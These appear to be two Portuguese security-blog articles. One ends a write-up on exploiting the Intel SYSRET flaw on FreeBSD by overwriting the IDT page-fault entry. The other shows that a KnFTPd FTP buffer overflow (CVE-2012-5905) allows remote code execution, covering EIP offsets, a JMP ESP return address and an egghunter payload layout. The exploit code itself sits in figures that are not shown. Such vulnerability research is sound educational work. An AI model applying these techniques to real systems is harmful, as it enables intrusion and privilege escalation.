A instrução 'SYSCALL' é utilizada para passar do modo menos privilegiado para o mais privilegiado (ring3→ ring0), invocar o kernel, e a instrução 'SYSRET' o processo inverso, do mais privilegiado para o menos privilegiado, retornando para modo usuário.

A vulnerabilidade existe devido a um erro na implementação da instrução 'SYSRET' nos processadores
AMD64 da Intel que é utilizada na troca de contexto (ring0 → ring3) em sistemas 64 bits, por isso essa
vulnerabilidade só afeta sistemas 64 bits que estejam utilizando processadores da Intel.

A AMD também adicionou um novo tipo de endereçamento chamado de endereço canônico[11]. Esse
tipo de endereçamento exige que os bit 47 ao 63 sejam iguais para serem utilizados como endereço de
memória, não satisfazendo essa igualdade, o endereço é considerado inválido. É utilizado a faixa de
endereço  0x0000000000000000 até 0x00007fffffffffff e 0xffff800000000000  até 0xffffffffffffffff, qualquer endereço de memória fora desses dois limites é um endereço não canônico.

Quando algum tipo de acesso a um endereço de memória não canônico for realizado, uma exceção é
gerada  e  tratada  pelo  sistema  operacional.  A  diferença  no  processador  da  Intel  que  gerou  a
vulnerabilidade é que, em determinada situação, o sistema operacional irá tratar essa exceção no modo
mais privilegiado da CPU diferente do processador da AMD que irá tratar no modo menos privilegiado.

A criticidade dessa sútil diferença entres os processadores é que no momento que o gerenciador de
exceção for executado, o sistema operacional já restaurou os valores dos registradores para valores
controláveis pelo usuário, entre esses registradores o mais interessante do ponto de vista de um atacante
é a pilha, registrador %rsp na arquitetura AMD64.

Portanto, quando a instrução 'SYSRET' for encontrada e executada a CPU deverá realizar basicamente
as seguintes ações:

1 → Mudar o modo de operação da CPU do mais privilegiado para o menos privilegiado;
2 →Redirecionar o fluxo de execução de instrução para o endereço armazenado no registrador
%rcx;

O que ocorre com o processador da Intel é o processo inverso, o passo 2 é executado antes do passo 1.

A forma utilizada para acionar essa vulnerabilidade foi alterar o valor do registrador  %rcx para um
endereço não canônico e após isso executar a instrução 'SYSRET'. É permitido armazenar valores não canônico no registrador %rcx por ele ser um registrador de propósito geral.

Apesar de não ser o único, o método utilizado por alguns expoits públicos para FreeBSD consiste em
mapear a última página de memória canônica disponível ao usuário, e colocar a instrução 'SYSCALL'
nos últimos bytes alocados. Assim, após a execução da instrução e a passagem do controle para o
kernel, ao executar a instrução 'SYSRET', o registrador %rcx terá o valor não canônico. Como pode ser
visto na imagem abaixo. Clique na imagem para uma melhor visualização.

Figura 1: Acionando a vulnerabilidade

Em discussão com Joilson Rabelo[12] e depois confirmado através do blog-post feito pela VUPEN[13], no Windows 7 esse método não funciona, pois o  kernel do Windows não permite mapear a última página de memória disponível para o usuário.

Houve  modificações  no  manual  da  Intel  endereçando  o  problema.  Abaixo  trecho  retirado  do
manual[14] que especifica que o sistema operacional precisa realizar validações para evitar que esse
problema  ocorra,  modificação  realizada  em  Agosto  de  2012,  dois  meses  após  a  publicação  da
vulnerabilidade.


The SYSRET instruction does not modify the stack pointer (ESP or RSP). For that reason, it is necessary for software to switch to the user stack. The OS may load the user stack pointer (if it was saved after SYSCALL) before executing SYSRET; alternatively, user code may load the stack pointer (if it was saved before SYSCALL) after receiving control from SYSRET.
If the OS loads the stack pointer before executing SYSRET, it must ensure that the handler of any interrupt or exception delivered between restoring the stack pointer and successful execution of SYSRET is not invoked with the user stack. It can do so using approaches such as the following:
• External interrupts. The OS can prevent an external interrupt from being delivered by clearing EFLAGS.IF before loading the user stack pointer.
• Nonmaskable interrupts (NMIs). The OS can ensure that the NMI handler is invoked with the correct stack by using the interrupt stack table (IST) mechanism for gate 2 (NMI) in the IDT (see Section 6.14.5,“Interrupt Stack Table,” in Intel® 64 and IA-32 Architectures Software Developer’s Manual, Volume 3A).
• General-protection exceptions (#GP). The SYSRET instruction generates #GP(0) if the value of RCX is not canonical.
The OS can address this possibility using one or more of the following approaches:
— Confirming that the value of RCX is canonical before executing SYSRET.
— Using paging to ensure that the SYSCALL instruction will never save a non-canonical value into RCX.
— Using the IST mechanism for gate 13 (#GP) in the IDT.


Executando códigos arbitrários no kernel


Como, apartir das informações que temos até agora, é possível executar códigos arbritários? Ao acionar
a vulnerabilidade o gerenciador de exceção nos processadores Intel 64 bits será executado em ring0.
Precisamos fazer com que a exceção seja executada, fazendo com que o processador tente acessar
alguma região de memória numa área não canônica como descrito anteriormente. Durante a execução
do gerenciador de exceção valores  são escritos  no endereço que está no registrador  %rsp que é
controlado pelo usuário (e daí que a vulnerabilidade pode ser explorada). Podemos alterar o registrador
%rsp para apontar para alguma estrutura do kernel que, durante a execução do gerenciador de exceção
será sobrescrita com valores controlados pelo usuário.  Como pode ser visto na imagem a baixo. Clique na imagem para uma melhor visualização.

Figura 2: Sobrescrevendo entrada na IDT

Então o que foi feito para obter execução de códigos é colocar o endereço de determinada entrada da
IDT no registrador %rsp e alterar o valor do registrador %rdx para um valor que, ao sobrescrever os
valores originais, modificará os campos gd_hioffset e gd_looffset da entrada 14 da IDT que é a entrada
referente ao Page Fault Exception(#PF) para o endereço de uma função que será responsável por
escalar os privilégios do usuário atual, reparar todo o estrago feito da IDT e retornar para modo usuário
com sucesso. Como os campos responsáveis por armazenar o endereço da função original que será
executada foi sobrescrito pelo endereço da função  kernel_code (0x400b50), nosso código pode ser
executado a qualquer momento que uma exceção do tipo #PF for acionada. Devido a forma que foi
utilizada para acionar a vulnerabilidade, um exceção #PF é gerada automaticamente durante a execução
do gerenciador de exceção original devido a alguns registradores estar com seus valores incoerentes.

Como  mencionado  acima,  após  ganharmos  execução  de  código  precisamos  restaurar  os  valores
originais da IDT que foram corrompidos para evitar um  crash e reiniciar o sistema e depois disso
elevar o privilégio do usuário atual para root. Para podermos fazer isso precisamos saber o endereço da
estrutura que armazena as informações do usuário, há várias formas de conseguir isso, a que foi utilizada no  exploit é mencionada nesse artigo em [15]. A vantagem de utilizar esse método é que
podemos obter o endereço da estrutura antes mesmo de acionar a vulnerabilidade, diferente do método
utilizado nos exploits públicos que obtem esse endereço após ganhar execução de código no kernel. O
último passo que o exploit deve fazer é retornar para modo usuário após de ter feito tudo que queríamos
no kernel, isso é feito colocando no registrador %rcx o endereço de uma função do exploit que checará
se realmente os privilégios  foram elevados e finalizar o processo, no  exploit é a função  done  a responsável por isso.

Conclusão


Particularmente, essa foi umas das vulnerabilidades mais interessantes do ano, inclusive foi nomeada
para o prêmio Pwnie Awards[16] na categoria de melhor vulnerabilidade que permite escalação de
privilégios, infelizmente não ganhou. O motivo que mais chamou a atenção nessa vulnerabilidade, além
da sua complexidade, é o fato dela existir há muito tempo, como mencionado na introdução que no
Linux foi corrigida desde 2006. Aqui[17] há uma discussão em húngaro bastante interessante com detalhes da vulnerabilidade e outra forma de como a exploração pode ser feita.

Código disponível aqui.

Referências


quinta-feira, 6 de dezembro de 2012

CVE-2012-5905 De Negação de Serviço à Execução de Código Remoto

Antes de qualquer coisa vale salientar que esse artigo é inteiramente didático e, apesar do aplicativo em questão apresentar vulnerabilidades que possam comprometer a segurança de sistemas, acredita-se que o mesmo não seja utilizado como serviço pelo fato de possuir outras vulnerabilidades públicas não corrigidas e o projeto não possuir continuidade. De qualquer forma o autor ou a Conviso® não se responsabilizam pela má utilização do material aqui contido.




Introdução



Encontrar vulnerabilidades e subverter sistemas é sem via de dúvidas algo extremamente divertido e que exige um conhecimento especializado tanto do ambiente quanto do alvo a ser explorado. Porém, o que para uns é pura diversão, para outros é meta de produtividade no serviço. A exploração completa de um software passa por uma fase complexa de análise com o intuito de transformar falhas corriqueiras (bugs) em potenciais vulnerabilidades. Porém, devido a pressão exercida por órgãos superiores (chefes, clientes etc) que desejam simplesmente ver quaisquer resultados, diversos especialistas divulgam suas descobertas como simples crash na aplicação e coloca como único princípio de risco a quebra da disponibilidade através de ataques de Negação de Serviço (DoS – Denial of Service), quando na verdade não foi possível fazer uma análise detalhada em busca de transformar um simples crash em uma vulnerabilidade. Então é registrado uma falha em um software, é definido um CVE-ID para ela[0] e os superiores ficam felizes, pois afinal de contas foi apresentado um resultado no prazo. Como exemplo do citado, temos um tópico anterior[1] onde o analista e pesquisador Ricardo Silva transforma um bug público registrado como Negação de Serviço em uma vulnerabilidade de execução remota de código potencialmente perigosa.  


Este artigo visa analisar o CVE-2012-5905[2] que indica um simples ataque de Negação de Serviço, e provar que a vulnerabilidade consistia em execução remota de código (RCE).



Análise do CVE-2012-5905


De acordo com o CVE-2012-5905, foi encontrado uma vulnerabilidade de buffer overflow no software KnFTPd[3] que permite um usuário autenticado indisponibilizar o serviço através de um ataque de negação de serviço através do comando FEAT

Para iniciar a análise foi feito uma simples avaliação no processo a partir da chamada à API WS2_32.recv(), responsável por ler informações em um socket. De acordo com a Figura 1, existem duas chamadas a essa API. Para não prolongar muito o artigo foi feito a análise somente da chamada que já se sabe ser a responsável pela recepção dos comandos.


 Figura 1: Lista de chamada

Na Figura 2 é possível ver a chamada à API WS2_32.recv() com um buffer de tamanho 0x1000 e com os dados recebidos armazenados no local apontado pelo registrador EBX. Em seguida o registrador EBX juntamente com o registrador ESI são utilizado como parâmetros da função localizada em knftpd.00401CA8, que será analisada a seguir.


Figura 2: Recebimento no socket

Na função localizada em knftpd.00401CA8, após o prólogo, é possível ver uma chamada para a função sscanf() com o parâmetro de formatação “%s” (vide Figura 3). Essa chamada é utilizada para obter o primeiro token do buffer recebido no socket. É importante lembrar que a formatação “%s” define como token qualquer sequência de caractere até uma quebra de linha, um espaço, uma tabulação ou o caractere nulo.

Figura 3: Parsing do comando FTP

Ainda na mesma rotina é possível notar a utilização da função strchr() com o objetivo de localizar o caractere de espaço (0x20 em hexadecinal) no buffer (Figura 4).

Figura 4: Obtenção do espaço separador

Tendo obtido o endereço do espaço no buffer recebido pelo socket, a função analisada utiliza o restante do buffer como parâmetro da função strcpy(), que é potencialmente insegura por não fazer qualquer verificação de limite na variável de destino. Como o usuário consegue manipular os dados de origem, é provável que este seja um exemplo de buffer overflow. código que apresenta a chamada à função strcpy() pode ser visto na Figura 5.


Figura 5: Chamada a função insegura strcpy()

Com isso já é possível escrever um código de prova de conceito (p0c) para que possamos analisar o comportamento da aplicação quando passarmos como parâmetro do comando uma cadeia de caracteres razoavelmente grande. O código foi escrito em Python e pode ser visto na Figura 6. O código em questão simplesmente autentica no sistema e passa um parâmetro grande para o comando FEAT.
Figura 6:  Código para prova de conceito#1.

É importante notar que a análise feita foi desde a leitura do socket através da API WS2_32.recv() até a chamada à função strcpy() e que em momento algum foi feito a checagem de qual comando foi passado. Com isso cogita-se que a vulnerabilidade esteja presente não no comando FEAT, mas sim em qualquer buffer que seja transmitido como duas palavras separadas por um espaço. Para comprovar isso experimente trocar o comando FEAT no código por qualquer outro comando FTP ou até mesmo por comandos que não existam no protocolo. 

Após a execução do código o resultado foi o visto na Figura 7. Como esperado, houve um transbordo do buffer e foi possível sobrescrever áreas da memória que posteriormente influenciarão em registradores como o EIP, responsável por armazenar o endereço da próxima instrução a ser executada.

Figura 7:  Controle de EIP (0x41414141)

No momento do estouro de memória, o registrado EBP ficou apontado para regiões do buffer que podemos manipular (Figura 8). Além disto, é possível notar que perdemos parte do começo de nosso buffer e que ainda podemos sobrescrever alguns bytes antes de tomarmos uma exceção de violação de acesso à memória (não estamos explorando por sobrescrita de SEH).

Figura 8: Visualização de ESP no dump

O próximo passo será descobrir em qual offset é sobrescrito o EIP em qual offset o registrado ESP aponta dentro da região que conseguimos manipular. Para isso podemos utilizar o script pattern_create.rb, presente no Metasploit Framework, que gera um cadeia de caracteres de forma que não exista uma sequência de padrão único, para substituir nossa sequência de A's no exploit inicial. O resultado do comando e a alteração do código podem ser vistos na Figura 9 e na Figura 10.

Figura 9: Utilização do pattern_create do Metasploit Framework

Como foi analisado que ainda possuíamos um espaço antes de atingir uma região da memória que geraria uma exceção, o buffer que inicialmente possuía 300 bytes passou a possuir 350 bytes.

Figura 10: Código para prova de conceito #2

Após a execução desse código, o programa parou a execução com os registradores no estado visto na Figura 11.

Figura 11: Registradores

Tendo o valor presente no registrador EIP e os bytes iniciais de onde o registrador ESP aponta é possível utilizar o script pattern_offset.rb para saber a posição exata desses valores dentro do buffer utilizado para a exploração da aplicação. O resultado, de acordo com a Figura 12 é o registrador EIP sendo sobrescrito a partir do offset 284 e o registrador EBP estando apontando para o buffer a partir do offset 292.

Figura 12: Utilização do pattern_offset.rb do Metasploit Framework

Nossa melhor referência na análise é o registrador ESP, que aponta para uma região que podemos manipular. Porém, como o buffer só possui 350 bytes, ao referenciar este registrador só possuímos 58 bytes para nosso payload, o que não seria suficiente para uma exploração real; enquanto que temos quase 300 bytes no começo do buffer, o que seria suficiente para um payload completo ou pelo menos o primeiro estágio de um payload maior (multi-staged).

Para contornar essa limitação, utilizamos os 58 bytes para armazenar um EggHunter[4][5] que irá localizar o payload inserido no começo do buffer, e nosso endereço de retorno irá apontar para alguma rotina que altere o fluxo de execução com um endereço relativo ao registrador ESP. Dessa forma, o payload total deve possuir o formato da Figura 13 abaixo.

Figura 13: Formato do payload

Para uma simples demonstração antes de mostrar o payload final, o código do exploit foi alterado respeitando o formato descrito na Figura 13. O resultado do código pode ser visto na Figura 14.


Figura 14: Código para prova de conceito #3

O resultado da análise pode ser comprovada na Figura 15, onde é possível notar que, como esperado o registrador EIP é sobrescrito com o valor 0x42424242 equivalente a cadeia BBBB e o registrador ESP aponta para o começo da sequência dos caracteres D (0x44 em hexadecimal).

Figura 15: Análise do crash (registradores e memória)

Como dito anteriormente, o endereço de retorno deve ser sobrescrito para uma instrução que salta para onde o registrador ESP está apontando, por essa ser uma região manipulável. As instruções mais comuns para isso são PUSH ESP + RET ou um simples JMP ESP. O ideal seria achar essas instruções (ou equivalentes) dentro do próprio módulo do programa, pois assim o exploit final funcionaria independente de plataforma utilizada. Porém, a fim de reduzir o tempo de análise, a instrução obtida foi tirada do módulo USER32.DLL, o que torna o exploit funcional somente na plataforma utilizada (Microsoft Windows XP SP3 – English) e é necessário a adaptação em algumas situações. A Figura 16, apresenta a instrução que será utilizada durante a exploração.

Figura 16: JMP ESP em USER32

O payload final com nop-sled, shellcode, endereço de retorno e egghunter pode ser visto na Figura 17, e o exploit completo pode ser obtido em [6].


Figura 17:  Payload final


Conclusão

Este artigo demonstrou que, por razões diversas, muitas vezes a publicação de falhas em softwares não representam o real problema existente, ficando os fabricantes a mercê de ataques por não saber a situação real da segurança de seus produtos.

Referências








Maycon Vitali é alto, moreno, tem os olhos verdes, não é baiano e possui como um de seus principais objetivos a dominação mundial. Formado em Ciência da Computação e Mestre em Informática, Maycon atua como Pesquisador e Analista de Segurança da Informação na Conviso. Além disto, Maycon possui aproximadamente 10 anos de experiência em computação, o que não quer dizer muita coisa; palestrou em diversos eventos de segurança, o que não também quer dizer muita coisa; e possui certificação OSCE, o que também não .... blah! Vocês já sabem.